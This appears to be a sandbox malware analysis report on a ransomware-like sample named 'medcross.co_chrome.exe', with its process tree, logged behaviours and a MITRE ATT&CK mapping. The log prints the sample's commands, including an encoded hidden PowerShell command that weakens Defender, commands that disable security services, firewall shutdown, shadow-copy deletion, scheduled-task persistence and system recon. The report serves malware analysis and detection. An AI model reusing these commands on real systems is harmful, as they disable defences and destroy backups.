PID 1944 wrote to memory of 464	1944	chrome.exe	114
PID 1944 wrote to memory of 3680	1944	chrome.exe	115
PID 3572 wrote to memory of 5056	3572	medcross.co_chrome.exe	117
PID 1480 wrote to memory of 4084	1480	fodhelper.exe	119
PID 1944 wrote to memory of 1420	1944	chrome.exe	120
PID 1944 wrote to memory of 1420	1944	chrome.exe	120
PID 1944 wrote to memory of 3272	1944	chrome.exe	125
PID 1944 wrote to memory of 3272	1944	chrome.exe	125
PID 3572 wrote to memory of 3216	3572	medcross.co_chrome.exe	126
PID 3572 wrote to memory of 3816	3572	medcross.co_chrome.exe	127
PID 3572 wrote to memory of 1868	3572	medcross.co_chrome.exe	130
PID 3572 wrote to memory of 3392	3572	medcross.co_chrome.exe	134
PID 3572 wrote to memory of 956	3572	medcross.co_chrome.exe	136
PID 3572 wrote to memory of 4116	3572	medcross.co_chrome.exe	137
PID 3572 wrote to memory of 1860	3572	medcross.co_chrome.exe	138
PID 3572 wrote to memory of 1388	3572	medcross.co_chrome.exe	139
PID 3572 wrote to memory of 1064	3572	medcross.co_chrome.exe	140
PID 3572 wrote to memory of 4864	3572	medcross.co_chrome.exe	141
PID 3572 wrote to memory of 4764	3572	medcross.co_chrome.exe	148
PID 3572 wrote to memory of 5064	3572	medcross.co_chrome.exe	184
PID 3572 wrote to memory of 4748	3572	medcross.co_chrome.exe	151
PID 3392 wrote to memory of 296	3392	cmd.exe	152
PID 3572 wrote to memory of 2508	3572	medcross.co_chrome.exe	153
PID 1860 wrote to memory of 3884	1860	cmd.exe	154
PID 3572 wrote to memory of 2140	3572	medcross.co_chrome.exe	156
PID 3572 wrote to memory of 3904	3572	medcross.co_chrome.exe	158
PID 3572 wrote to memory of 1052	3572	medcross.co_chrome.exe	180
PID 3572 wrote to memory of 4608	3572	medcross.co_chrome.exe	161
PID 1064 wrote to memory of 4072	1064	cmd.exe	164
PID 3572 wrote to memory of 4204	3572	medcross.co_chrome.exe	165
PID 956 wrote to memory of 1912	956	cmd.exe	167
PID 4116 wrote to memory of 468	4116	cmd.exe	168
PID 1388 wrote to memory of 2720	1388	cmd.exe	169
PID 4864 wrote to memory of 1528	4864	cmd.exe	170
PID 2720 wrote to memory of 4580	2720	net.exe	171
PID 3904 wrote to memory of 2588	3904	net.exe	172
PID 3392 wrote to memory of 4404	3392	cmd.exe	173
PID 1944 wrote to memory of 2336	1944	chrome.exe	177
PID 1944 wrote to memory of 4360	1944	chrome.exe	178
PID 1944 wrote to memory of 4360	1944	chrome.exe	178
PID 1944 wrote to memory of 1052	1944	chrome.exe	180
PID 1944 wrote to memory of 1052	1944	chrome.exe	180

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://medcross.co
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdf40bc728,0x7ffdf40bc734,0x7ffdf40bc740
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,2234653929105976776,14038282228060466107,262144 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
    3⤵
    PID:2980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,15138078327290944446,16747836434174735258,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2288 /prefetch:3
    3⤵
    - System Time Discovery
    PID:640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,7995053417571031034,619058120820414458,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2356 /prefetch:8
    3⤵
    PID:220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,7846015348168569020,3537962782553445515,2097152 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3152 /prefetch:1
    3⤵
    PID:464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,17246454192040301130,11818169865116513931,2097152 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:3680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4416,i,2825809329959264543,4310989306948789671,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4408 /prefetch:8
    3⤵
    PID:1420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4668,i,15181629357190337043,7015747755796122200,2097152 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4672 /prefetch:1
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3488,i,7017673263556423694,13299700166908488280,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4420 /prefetch:8
    3⤵
    PID:2336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3436,i,3218810913492643528,4205083166618691721,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3416 /prefetch:8
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3424,i,8461325936620877009,517114407535037231,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3464 /prefetch:8
    3⤵
    PID:1052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3440,i,9783290705386958128,14657017953732387574,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5540 /prefetch:8
    3⤵
    PID:4892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5456,i,16623184165390988195,13248023798569848386,2097152 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5508 /prefetch:2
    3⤵
    PID:4240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5452,i,12719395672677241482,1661935834881306453,2097152 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3112 /prefetch:1
    3⤵
    PID:3092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5924,i,244385116087056275,9942466048958158798,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3432 /prefetch:8
    3⤵
    PID:5936
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6000,i,14380466873124791727,1906490728111320376,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5920 /prefetch:8
    3⤵
    PID:5944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4456,i,10560411082714710246,16430060935867087437,524288 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3156 /prefetch:8
    3⤵
    PID:5956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5376,i,4238952508026096040,11098183281191697415,262144 --field-trial-handle=1972,i,527917121443343157,8955778187616913003,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6004 /prefetch:8
    3⤵
    PID:5576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3240
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe"
    3⤵
    PID:4084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:996
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3268
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3216
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3816
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:296
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4916
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4072
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1528
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4764
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5064
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4748
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2508
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:2140
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2588
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4204

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
1⤵
PID:4152

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
1⤵
PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4140

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:5064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery